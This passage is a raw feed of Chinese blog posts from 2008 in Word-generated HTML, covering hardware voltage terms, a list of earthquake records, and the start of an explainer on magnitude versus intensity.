宋体">如果有一个标准方波信号，<SPAN lang=EN-US>Vp_p</SPAN>＝<SPAN lang=EN-US>Vp</SPAN>，如果是一个连续正负方向的方波，<SPAN lang=EN-US>Vp_p</SPAN>＝<SPAN lang=EN-US>2*Vp<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">Vref</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：参考电压这个东西以前困惑过，有不少含糊的说法，后来和轩儿说了一下，轩子说是逻辑参考用的，进一步参阅一些资料后，认为有两点作用，<SPAN lang=EN-US>1</SPAN>、数字电路，就是逻辑参考用的，如<SPAN lang=EN-US>cpu</SPAN>、<SPAN lang=EN-US>chipset</SPAN>、内存等上面都有<SPAN lang=EN-US>Vref</SPAN>引入，就靠它来参考判断信号电压是高电平还是低电平。<SPAN lang=EN-US>2</SPAN>、模拟电路，模拟量上控制一些功能，<SPAN lang=EN-US>IO</SPAN>对主板电压的监测、稳压电路上的参考点等。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">Vcore</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：核心电压，<SPAN lang=EN-US>cpu</SPAN>用的，北桥也用，还有好多地方需要引入这个电压他用<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=3>&nbsp;</FONT></o:p></SPAN></P> <DIV></DIV>]]> 星期四, 19 六月 2008 02:29:51 GMT http://blog.china.com:80/u/061218/21698/200806/2859890.html 2008-06-19T02:29:51Z http://blog.china.com:80/u/061218/21698/200806/2748351.html <![CDATA[ <DIV> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">地震之最</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">中国最早有记载的地震：中国尧舜时代</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">(</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">公元前</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">23</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世纪</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">)</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">，发生在蒲州</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">(</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">现称</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">)</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">的地震.</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">2.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界上引起最大火灾的地震：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1923</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">9</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日的日本关东</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8.3</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级大地震，木屋居多的东京有</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">36.6</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">万户房屋被烧毁，死亡和下落不明者达</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">14</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">万人，其中多数人是被地震引发的大火烧死的；横须贺市有</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">3.5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">万户房屋被烧毁；横滨市有</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5.8</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">万户房屋被烧毁。</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">3.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">中国引起最大水灾的地震：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1786</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">6</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日发生在中国康定南的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">7.5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级地震，因山崩使大渡河截流，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">10</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日后决口，发生了特大洪水，造成几十万人死亡。</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">4.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界历史上最大的地震：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"> 1960</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">22</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">19</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">时</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">11</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">分发生在南美智利的地震，震级达到</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"> 8.9</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级。从</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">21</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日开始，一个月内发生的地震，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">3</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">次超过</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">10</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">次超过</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">7</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级，其规模之大，释放能量之多，实为罕见。</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界上第一次成功预报并取得明显减灾实效的地震：中国的地震工作者成功地预报了</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1975</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">2</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">4</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日海城</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">7.3</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级地震，被世界科技界称为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">“</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">地震科学史上的奇迹</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">”</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"> </SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"><BR>6.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界上最大的地震海啸：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1960</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">22</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日智利</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8.9</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级地震。</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">7.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">目前世界上有仪器记录的最大地震</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">:1960</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">5</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">22</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日发生在南美智利的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8.9</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级地震</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界上第一台地动仪的发明人：</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"> </SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">世界上第一台地动仪</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">(</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">候风地动仪</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">)</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">是我国东汉科学家张衡发明的，于公元</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">138</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年记录到陇西大地震。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"> <BR>9.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">我国自建最早的地震台和地震遥测台网：</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1930</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年我国第一个地震台</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">—</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">北京西山鹫峰地震台，在李善邦和秦馨菱先生主持下建成，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1937</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年日寇发动侵华战争后停止观测。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1966</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年北京遥测台网建成，有</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">个子台。</SPAN></P> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial"></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">10.</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">死亡人数最多的地震：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1556</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">年</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">1</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">月</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">23</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">日陕西华县的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">8.0</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">级地震，死亡人数</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt">83</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: Arial">万多人。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial; mso-font-kerning: 0pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV> <DIV></DIV>]]> 星期三, 04 六月 2008 04:54:56 GMT http://blog.china.com:80/u/061218/21698/200806/2748351.html 2008-06-04T04:54:56Z http://blog.china.com:80/u/061218/21698/200806/2748316.html <![CDATA[ <DIV> <P class=MsoNormal style="BACKGROUND: white; MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 13.5pt"><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>地球上的地震有强有弱。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>用来衡量地震强度大小的尺子有两种，</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>一种叫地震震级；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>一种叫地震烈度。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>举个例子来说，地震震级好象不同瓦数的日光灯，瓦数越高能量越大，震级越高。烈度好象屋子里受光亮的程度，对同一盏日光灯来说，距离日光灯的远近不同，各处受光的照射也不同，所以各地的烈度也不一样。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>地震震级是衡量地震大小的一种度量。每一次地震只有一个震级。它是根据地震时释放能量的多少来划分的，震级可以通过地震仪器的记录计算出来，震级越高，释放的能量也越多。我国使用的的震级标准是国际通用震级标准，叫</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">“</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>里氏震级</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">”</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>。各国和各地区的地震分级标准不尽相同。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>一般将小于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">1</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的地震称为超微震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>大于、等于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">1</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: 